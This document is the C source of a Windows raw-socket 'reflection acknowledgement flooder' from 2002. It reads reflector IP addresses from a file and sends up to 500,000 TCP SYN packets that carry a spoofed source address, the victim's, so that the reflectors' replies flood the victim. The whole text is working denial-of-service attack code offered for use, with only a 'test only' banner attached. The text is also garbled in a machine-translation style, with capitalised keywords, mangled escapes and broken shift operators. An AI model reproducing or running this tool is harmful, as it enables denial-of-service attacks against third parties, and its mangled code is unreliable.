ACK message reflectionCode
Author: Xiaojin
# Include <winsock2.h>
# Include <ws2tcpip. h>
# Define false 0
# Define true 1
# Define seq 0x28376839
Int x =-1, K, J;
Int rndx = 0;
Struct IP
{
Char IP [20];
};
Struct IP iptemp [32767];
Typedef struct ip_hdr // defines the IP Header
{
Unsigned char h_verlen; // 4-bit header length, 4-bit IP version number
Unsigned char TOS; // an 8-bit service type TOS
Unsigned short total_len; // The total length of 16 bits (in bytes)
Unsigned short ident; // 16-bit ID
Unsigned short frag_and_flags; // 3-Bit Flag
Unsigned char TTL; // 8-bit TTL
Unsigned char proto; // 8-bit protocol (TCP, UDP, or other)
Unsigned short checksum; // 16-bit IP header checksum
Unsigned int sourceip; // 32-bit source IP address
Unsigned int destip; // 32-bit destination IP address
} Ip_header;
Typedef struct tsd_hdr // defines the TCP pseudo Header
{
Unsigned long saddr; // Source Address
Unsigned long daddr; // Destination Address
Char mbz;
Char ptcl; // protocol type
Unsigned short tcpl; // TCP Length
} Psd_header;
Typedef struct tcp_hdr // defines the TCP Header
{
Ushort th_sport; // 16-bit Source Port
Ushort th_dport; // 16-bit destination port
Unsigned int th_seq; // 32-bit serial number
Unsigned int th_ack; // 32-bit confirmation number
Unsigned char th_lenres; // 4-bit header length/6-bit reserved words
Unsigned char th_flag; // 6-digit flag
Ushort th_win; // 16-bit window size
Ushort th_sum; // 16-bit checksum
Ushort th_urp; // 16-bit emergency data offset
} Tcp_header;
Int getipnum (){
Int I;
If (rndx ++ = 65536) rndx = 1; // serial number Loop
Srand (rndx );
I = rand () % x + 1;
Return I;
}
// Checksum: The subfunction used to calculate the checksum.
Ushort checksum (ushort * buffer, int size)
{
Unsigned long cksum = 0;
While (size> 1)
{
Cksum + = * buffer ++;
Size-= sizeof (ushort );
}
If (size)
{
Cksum + = * (uchar *) buffer;
}
Cksum = (cksum> 16) + (cksum & 0 xFFFF );
Cksum + = (cksum> 16 );
Return (ushort )(~ Cksum );
}
Unsigned long resolve (char * Host)
{
Long I;
Struct hostent * He;
If (I = inet_addr (host) <0)
If (He = gethostbyname (host) = NULL)
Return (0 );
Else
Return (* (unsigned long *) He-> h_addr );
Return (I );
}
void intro () {
printf ("===================== R-series ============ ===============\ N ");
printf ("H. b. U team r-series tools demo version \ n ");
printf (" \ n ");
printf ("-=-reflection acknowledgement flooder-=-\ n ");
printf ("\ n");
printf ("2002 hbu team, written by lk007 \ n ");
printf ("E-MAIL: lk007@163.com cjc007@cnuninet.com \ n");
printf ("please visit: www. s8s8. Net www.heibai.net \ n ");
printf ("============================== =======================\ N ");
printf ("warning! Test only! \ N ");
printf (" This version can only send 500,000 packets! \ N ");
// printf (" release version, no packet limit! ");
}
Void LoadFile ()
{
File * FP;
Char STR [256];
If (FP = fopen ("ack.txt", "RT") = NULL)
{
Printf ("can not open reflection-IP list! \ N ");
Printf ("Please create a text file 'ack.txt 'which \ n ");
Printf ("includes Reflection-IP (s) on the application path! \ N ");
Exit (0 );
}
While (! Feof (FP ))
{
Fgets (STR, sizeof (STR), FP );
X ++;
For (k = 0; k <16; k ++)
{
If (STR [k] = '\ n '){
STR [k] = '\ 0 ';}
Iptemp [X]. IP [k] = STR [k];
}
}
Fclose (FP );
Printf ("loading reflection IP list... \ n ");
Printf ("Reflection IP list loaded. \ n ");
Printf ("\ ntotal IP list: % d \ n", X );
}
Int main (INT argc, char ** argv)
{
Wsadata;
Socket sockraw;
Struct sockaddr_in destaddr;
Ip_header;
Tcp_header;
Psd_header;
Char sendbuf [128] = {0 };
Char fakesourceip [20];
Char destip [20];
Bool flag;
Bool tcpnodelay = true;
Int SYN, datasize;
Long counter;
Int sendseq = 0, timeout = 2000;
Int intport = 80;
Int destport = 80;
If (argc <2)
{
Intro ();
Printf ("Usage: % s [destip] \ n", argv [0]);
Exit (0 );
}
Strcpy (fakesourceip, argv [1]);
Intro ();
LoadFile ();
If (wsastartup (makeword (2, 2), & wsadata )! = 0)
{
Printf ("wsastartup error! \ N ");
Return false;
}
If (sockraw = wsasocket (af_inet, sock_raw, ipproto_raw, null, 0, wsa_flag_overlapped) = invalid_socket)
{
Printf ("unable to create Socket socket! \ N ");
Return false;
}
Flag = true;
If (setsockopt (sockraw, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (FLAG) = socket_error)
{
Printf ("failed to set IP data! ThisProgramWin2000/XP is required! \ N ");
Return false;
}
SYN = setsockopt (sockraw, sol_socket, so_sndtimeo, (char *) & timeout, sizeof (timeout ));
If (SYN = socket_error ){
Fprintf (stderr, "failed to set send Timeout: % d \ n", wsagetlasterror ());
Return false;
}
If (setsockopt (sockraw, sol_socket, tcp_nodelay, (const char *) & tcpnodelay, sizeof (tcpnodelay) = socket_error)
{
Printf ("set tcp_nodelay failed. Error: % d", wsagetlasterror ());
Return false;
}
Printf ("dest host: % s \ n", fakesourceip );
For (counter = 0; counter< 500000; counter ++ ){
Strcpy (destip, iptemp [getipnum ()]. IP );
Printf ("now using % s for reflection... \ n", destip );
Memset (& destaddr, 0, sizeof (destaddr ));
Destaddr. sin_family = af_inet;
Destaddr. sin_addr.s_addr = inet_addr (destip );
// Fill in the IP Header
Ip_header.h_verlen = (4 <4 | sizeof (ip_header)/sizeof (unsigned long ));
// The version number of the four-digit IP address, and the length of the four-digit Header
Ip_header.total_len = htons (sizeof (ip_header) + sizeof (tcp_header); // The total length of 16 bits (in bytes)
Ip_header.ident = 1; // 16-bit ID
Ip_header.frag_and_flags = 0; // 3-digit flag
Ip_header.ttl = 128; // 8-bit TTL
Ip_header.proto = ipproto_tcp; // 8-bit protocol (TCP, UDP ...)
Ip_header.checksum = 0; // 16-bit IP header checksum
Ip_header.sourceip = resolve (fakesourceip); // 32-bit source IP address
Ip_header.destip = inet_addr (destip); // 32-bit destination IP address
// Fill the TCP Header
Tcp_header.th_sport = htons (destport); // source port number
Tcp_header.th_dport = htons (intport); // the destination port number.
Tcp_header.th_seq = htonl (SEQ + sendseq); // SYN serial number
Tcp_header.th_ack = 0; // sets the ACK serial number to 0.
Tcp_header.th_lenres = (sizeof (tcp_header)/4 <4 | 0); // TCP length and Reserved Bit
Tcp_header.th_flag = 2; // SYN flag
Tcp_header.th_win = htons (16384); // window size
Tcp_header.th_urp = 0; // offset
Tcp_header.th_sum = 0; // checksum
// Fill in the TCP pseudo header (used for calculating the checksum and not actually sending it)
Psd_header.saddr = ip_header.sourceip; // Source Address
Psd_header.daddr = ip_header.destip; // Destination Address
Psd_header.mbz = 0;
Psd_header.ptcl = ipproto_tcp; // protocol type
Psd_header.tcpl = htons (sizeof (tcp_header); // TCP Header Length
If (sendseq ++ = 65536) sendseq = 1; // serial number Loop
// Change the IP Address Header
Ip_header.checksum = 0; // 16-bit IP header checksum
Ip_header.sourceip = resolve (fakesourceip); // 32-bit source IP address
// Change the TCP Header
Tcp_header.th_seq = htonl (SEQ + sendseq); // SYN serial number
Tcp_header.th_sum = 0; // checksum
// Modify the TCP pseudo Header
Psd_header.saddr = ip_header.sourceip;
// Calculate the TCP Checksum. The calculation checksum and the TCP pseudo header must be included.
Memcpy (sendbuf, & psd_header, sizeof (psd_header ));
Memcpy (sendbuf + sizeof (psd_header), & tcp_header, sizeof (tcp_header ));
Tcp_header.th_sum = checksum (ushort *) sendbuf, sizeof (psd_header) + sizeof (tcp_header ));
// Calculate IP checksum
Memcpy (sendbuf, & ip_header, sizeof (ip_header ));
Memcpy (sendbuf + sizeof (ip_header), & tcp_header, sizeof (tcp_header ));
Memset (sendbuf + sizeof (ip_header) + sizeof (tcp_header), 0, 4 );
Datasize = sizeof (ip_header) + sizeof (tcp_header );
Ip_header.checksum = checksum (ushort *) sendbuf, datasize );
// Fill the sending Buffer
Memcpy (sendbuf, & ip_header, sizeof (ip_header ));
// Send TCP Packets
SYN = sendto (sockraw, sendbuf, datasize, 0, (struct sockaddr *) & destaddr, sizeof (destaddr ));
If (SYN = socket_error) printf ("\ nsend error: % d \ n", getlasterror ());
} // End
Closesocket (sockraw );
Wsacleanup ();
Printf ("\ n \ nsend complete! \ N ");
Return 0;
}